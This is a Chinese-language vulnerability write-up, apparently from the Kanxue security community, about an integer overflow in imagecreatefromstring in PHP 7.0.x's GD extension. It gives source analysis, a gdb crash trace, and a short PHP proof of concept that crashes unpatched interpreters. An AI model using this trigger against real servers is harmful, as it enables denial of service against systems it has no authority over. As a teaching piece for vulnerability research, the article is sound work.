专栏名称: 看雪学苑
致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号。
目录
相关文章推荐
扬州广播电视台  ·  刚刚,江苏又一条高铁大通道开工! ·  2 天前  
嘶吼专业版  ·  Apache 修复 Tomcat Web ... ·  3 天前  
光伏资讯  ·  河北打响了分布式光伏入市的第一枪! ·  4 天前  
光伏资讯  ·  河北打响了分布式光伏入市的第一枪! ·  4 天前  
申妈的妹子圈  ·  京东宣布客服全员平均涨薪2个月 ·  4 天前  
申妈的妹子圈  ·  京东宣布客服全员平均涨薪2个月 ·  4 天前  
51好读  ›  专栏  ›  看雪学苑

PHP 7 漏洞挖掘系列之一:Stack-based integer overlow

看雪学苑  · 公众号  · 互联网安全  · 2017-04-12 18:00

正文

本文大概

1314

读完共需

10

分钟


0x01 前言

首先声明这些漏洞不是我挖的,我想挖但是挖不出来,蛋疼。本次讲解栈溢出漏洞,这个漏洞是比较常见的漏洞,现在 php 里面不太常见了,php 漏洞挖掘没有啥好工具,只能人工慢慢的看,afl 好像可以自动化挖掘,不过我跑了 10几天也没跑出个crash。

包含漏洞的版本:PHP 7.0.11

0x02 漏洞分析

首先下载源码 http://php.net/releases/,然后编译安装,版本可以低一点,往后的漏洞这个版本都是没打补丁的。环境采用 ubuntu 和编译版本的 php7.0.2,只有 linux 才有符号表,windows 下不好调试,虽然方便的多。现在正式开始吧。


定位到漏洞函数代码 /ext/gd/gd.c:2222

PHP_FUNCTION(imagecreatefromstring)

{

         zval *data;

         gdImagePtr im;

         int imtype;

         char sig[8];

  

         if (zend_parse_parameters(ZEND_NUM_ARGS(), "z", &data) == FAILURE) {

                   return;

         }

         convert_to_string_ex(data);

         if (Z_STRLEN_P(data) 

                   php_error_docref(NULL, E_WARNING, "Empty string or invalid image");

                   RETURN_FALSE;

         }

         memcpy(sig, Z_STRVAL_P(data), 8);

         imtype = _php_image_type(sig);

         switch (imtype) {

                   case PHP_GDIMG_TYPE_JPG:

#ifdef HAVE_GD_JPG

                            im = _php_image_create_from_string(data, "JPEG", gdImageCreateFromJpegCtx);

#else

                            php_error_docref(NULL, E_WARNING, "No JPEG support in this PHP build");

                            RETURN_FALSE;

#endif

                            break;

                   case PHP_GDIMG_TYPE_PNG:

#ifdef HAVE_GD_PNG

                            im = _php_image_create_from_string(data, "PNG", gdImageCreateFromPngCtx);

#else

                            php_error_docref(NULL, E_WARNING, "No PNG support in this PHP build");

                            RETURN_FALSE;

#endif

                            break;

                   case PHP_GDIMG_TYPE_GIF:

                            im = _php_image_create_from_string(data, "GIF", gdImageCreateFromGifCtx);

                            break;

                   case PHP_GDIMG_TYPE_WBM:

                            im=_php_image_create_from_string(data,"WBMP", gdImageCreateFromWBMPCtx);

                            break;

                   case PHP_GDIMG_TYPE_GD2:

                            im = _php_image_create_from_string(data, "GD2", gdImageCreateFromGd2Ctx);

                            break;

                   default:

                            php_error_docref(NULL, E_WARNING, "Data is not in a recognized format");

                            RETURN_FALSE;

         }

         if (!im) {

                   php_error_docref(NULL, E_WARNING, "Couldn't create GD Image Stream out of Data");

                   RETURN_FALSE;

         }

         RETURN_RES(zend_register_resource(im, le_gd));

}

有可能上面的代码长了点,但是只要找到关键函数就行了_php_image_create_from_string,在这个函数中的 gdNewDynamicCtxEx 这个函数才是关键点,跟踪进去就行了。在 gd.c:2196 行,假如你使用其他版本可能行号不一样,不过没事搜索函数就行了。

gdImagePtr _php_image_create_from_string(zval *data, char *tn, gdImagePtr (*ioctx_func_p)())

{

         gdImagePtr im;

         gdIOCtx *io_ctx;

         io_ctx = gdNewDynamicCtxEx(Z_STRLEN_P(data),Z_STRVAL_P(data), 0);  //这边的传入参数的长度为0x80000000  由于是int,所以这边整数溢出。

………………………………………………………………………………

gdNewDynamicCtxEx函数代码,行号就不说了。

gdIOCtx * gdNewDynamicCtxEx (int initialSize, void *data, int freeOKFlag)

{

         dpIOCtx *ctx;

         dynamicPtr *dp;

         ctx = (dpIOCtx *) gdMalloc (sizeof (dpIOCtx));

         dp = newDynamic(initialSize, data, freeOKFlag);

         ctx->dp = dp; //这边将initialSize 赋值了

         ctx->ctx.getC =dynamicGetchar; //这边造成栈溢出,跟踪进去进行了。

………………………………………………………………………………

newDynamic函数代码

static dynamicPtr * newDynamic (int initialSize, void *data, int freeOKFlag)

{

         dynamicPtr *dp;

         dp = (dynamicPtr *) gdMalloc (sizeof (dynamicPtr)); // 这边申请了64个字节

         allocDynamic (dp, initialSize, data);

………………………………………………………..

static int

allocDynamic (dynamicPtr * dp, int initialSize, void *data)

{

         if (data == NULL) {

                   dp->logicalSize = 0;

                   dp->dataGood = FALSE;

                   dp->data = gdMalloc(initialSize);  这里的initialSize的值为-2147483648

         } else {

                   dp->logicalSize = initialSize;

                   dp->dataGood = TRUE;

                   dp->data = data;

         }

……………………………………………….

static int dynamicGetchar (gdIOCtxPtr ctx)

{

         unsigned char b;

         int rv;

         rv = dynamicGetbuf (ctx, &b, 1);

  

………………………………………………………………………………

static int dynamicGetbuf (gdIOCtxPtr ctx, void *buf, int len)

{

         int rlen, remain;

         dpIOCtxPtr dctx;

         dynamicPtr *dp;

         dctx = (dpIOCtxPtr) ctx;

         dp = dctx->dp;

         remain = dp->logicalSize - dp->pos;

         if (remain >= len) {

                   rlen = len;

         } else {

                   if (remain == 0) {

                            return EOF;

                   }

                   rlen = remain;//上面的remain 的值为负数,没有检查,直接比较后赋值,所以导致下面的rlen的值过大造成栈溢出。

         }

         memcpy(buf, (void *) ((char *) dp->data + dp->pos), rlen); //这边造成了栈溢出

下面是几个结构体,可以对照着去理解代码。

ypedef struct gdIOCtx {

int    (*getC)(struct gdIOCtx*);

int    (*getBuf)(struct gdIOCtx*, void*, int);

void  (*putC)(struct gdIOCtx*, int);

int    (*putBuf)(struct gdIOCtx*, const void*, int);

int    (*seek)(struct gdIOCtx*, const int);

long (*tell)(struct gdIOCtx*);

void  (*gd_free)(struct gdIOCtx*);

void  *data;

} gdIOCtx;

………………………………………………………………………………

typedef struct dpStruct

{

void *data;

int logicalSize;

int realSize;

int dataGood;

int pos;

int freeOK;

} dynamicPtr;

………………………………………………………………………………

typedef struct dpIOCtx

{

gdIOCtx ctx;

dynamicPtr *dp;

} dpIOCtx;

………………………………………………………………………………

下面是 gdb 的调试信息,不知道为什么参数的值没有显示出来。有些代码直接阅读比较麻烦,可以 gdb 调试代码,再调试的同时,打印出它的值。

root@mhn:~# gdb -q --args php-7.0.2/sapi/cli/php -n test.php

Reading symbols from php-7.0.2/sapi/cli/php...done.

(gdb) r

Starting program: /root/php-7.0.2/sapi/cli/php -n test.php

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

  

Program received signal SIGSEGV, Segmentation fault.

__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:118

118  ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.

(gdb) bt

#0  __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:118

#1  0x000000000059c1cf in memcpy (__len=18446744071562067968, __src=, __dest=) at /usr/include/x86_64-linux-gnu/bits/string3.h:51

#2  dynamicGetbuf (ctx=, buf=, len=) at /root/php-7.0.2/ext/gd/libgd/gd_io_dp.c:246

#3  0x000000000059dd05 in php_gd_fill_input_buffer (cinfo=0x7fffffffaa70) at /root/php-7.0.2/ext/gd/libgd/gd_jpeg.c:607

#4  0x00007ffff73144e6 in ?? () from /usr/lib/x86_64-linux-gnu/libjpeg.so.8

#5  0x00007ffff73129ca in ?? () from /usr/lib/x86_64-linux-gnu/libjpeg.so.8

poc 就放下面了:

ini_set('memory_limit',-1);

$var_3  =  str_repeat("A",0x80000000);

$var_3[0]="\xff";

$var_3[1]="\xd8";

$var_3[2]="\xff";

imagecreatefromstring($var_3);

这边为什么要替换变量的值呢,由于它上面会检查文件头是否为真实的图片。所以我这边用了 jpg 的文件头,应该是吧,我也忘了啥文件头,反正只要网上搜索一下图片的文件头就行了。

0x03 小结

说实话我也是初学者,只能这样写一篇文章了,网上的 php 底层的漏洞挖掘太少了,就只有应用层的代码审计,希望能够给初学者们帮助吧。如果写的有啥不对的地方欢迎指出。

参考链接

https://bugs.php.net/bug.php?id=73280


精彩评论



如果是 7.0.11 那么应该会有不少环境都包含此漏洞,理论上能拿到 php 进程权限,可能是 www,也可能是 root,威胁还是很大的。不过在实际的项目中这个函数 image_create_from_string() 使用的频度不太高。


建议还在使用 PHP 7 低版本的用户尽快升级到最新版本,避免服务器遭到入侵。


本文由看雪论坛 hackyzh 原创




❤ 往期热门内容推荐



更多优秀文章,长按下方二维码,“关注看雪学院公众号”查看!

看雪论坛:http://bbs.pediy.com/

微信公众号 ID:ikanxue

微博:看雪安全

投稿、合作:www.kanxue.com